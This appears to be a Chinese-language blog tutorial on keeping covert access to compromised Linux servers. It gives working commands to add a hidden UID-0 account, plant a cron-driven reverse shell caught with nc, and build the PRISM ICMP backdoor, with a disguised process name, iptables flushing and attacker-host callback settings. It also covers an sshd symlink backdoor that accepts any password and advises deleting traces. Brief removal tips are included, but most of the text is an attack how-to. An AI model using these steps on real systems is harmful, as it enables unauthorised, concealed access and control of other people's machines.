Linux持續化後門

Linux權限維持

環境:Centos7、Kali虛擬機等

 

1、增加超級用戶

useradd -p `openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /home/test

通過命令創建了test 123456的超級用戶

 

2、unix bash遠控後門

先創建/etc/...腳本文件

授予權限chmod +sx /etc/...

修改/etc/crontab,加入*/1 * * * * root /etc/xxxx,讓它每一分鐘執行一次

重啓crond服務,systemctl restart crond

在自己的機器用nc接收shell

 

3、ssh公鑰免密

通過把公鑰添加到被控端的authorized_keys裏面就能實現免密登錄

但是隻要運維不傻,這個還是很容易被發現的

 

4、ICMP後門

在控制端下載腳本:git clone https://github.com/andreafabrizi/prism.git

git下來之後,還需要進行編輯操作

先編輯prism.c,修改宏定義部分:

40 #ifdef STATIC

41 # define REVERSE_HOST     "10.0.0.1"  //連接到主控機的IP地址

42 # define REVERSE_PORT     19832   //連接到主控機的端口號

43 # define RESPAWN_DELAY    15  //後門機嘗試連接的空閒時間間隔

44 #else

45 # define ICMP_PACKET_SIZE 1024  //ICMP數據包的大小

46 # define ICMP_KEY         "linger"  //連接的密碼

47 #endif

48

49 #define VERSION          "0.5"   //版本信息

50 #define MOTD             "PRISM v"VERSION" started\n\n# "  //後門機連接時顯示的消息

51 #define SHELL            "/bin/sh"  //shell執行的位置

52 #define PROCESS_NAME     "udevd"   //創建的進程名稱

交叉編譯prism後門

gcc <..OPTIONS..> -Wall -s -o prism prism.c

可用的參數<OPTION>選項:

-DDETACH //後臺運行

-DSTATIC //只用STATIC模式(默認是ICMP模式)

-DNORENAME //不再重命名進程名

-DIPTABLES //清除所有iptables規則表項

如:gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c

編譯好之後把prism上傳到遠程後門主機,再運行sendPacket.py腳本,需要root權限。最好就是將prism.c文件上傳到後門主機再進行編譯,這樣更容易成功。

在攻擊者機器上運行nc等待後門的連接:nc -l -p 6666

使用sendPacket.py腳本(或其他數據包生成器)將激活數據包發送到後門:

./sendPacket.py 192.168.30.141 123456 192.168.30.131 6666

192.168.30.141 是運行棱鏡後門的受害者機器

123456是密鑰

192.168.30.131是攻擊者機器地址

6666是攻擊者機器端口

這種後門方式對於採用了很多限制比如限制了ssh的遠程服務器來說,是比較不錯的,而且prism服務端運行後會在後門一直運行,除非重啓服務器。所以運行後門後刪除自身文件將不容易被發現。

清除方式

因爲該後門重啓會失效,除非寫在開機啓動項裏,所以首先要檢查啓動項有沒有異常情況,比如/etc/rc.local是否有未知的啓動腳本

其次,這個後門可以改變後門進程名,但是還是有進程存在,所以要查出這個未知進程,可以用工具查找,kill掉

然後,該後門是使用了icmp的ping包激活的,所以可以過濾icmp包

最後,需要設置好嚴格的iptables規則,這個後門可以按照攻擊者的設置嘗試清楚iptables規則,需要定期查看iptables規則是否正常。

 

5、ssh軟鏈接後門

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

關鍵在於-oPort=5555開啓了一個端口爲5555的服務

直接ssh連接5555端口,密碼隨便輸入,但是有些機器是限制了遠程登錄ssh的賬號

主要是利用了sshd的pam認證,調用/etc/pam.d/su

清除方式

netstat -anopt

查看相關pid、tmp/su權限、kill pid、刪除tmp/su

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章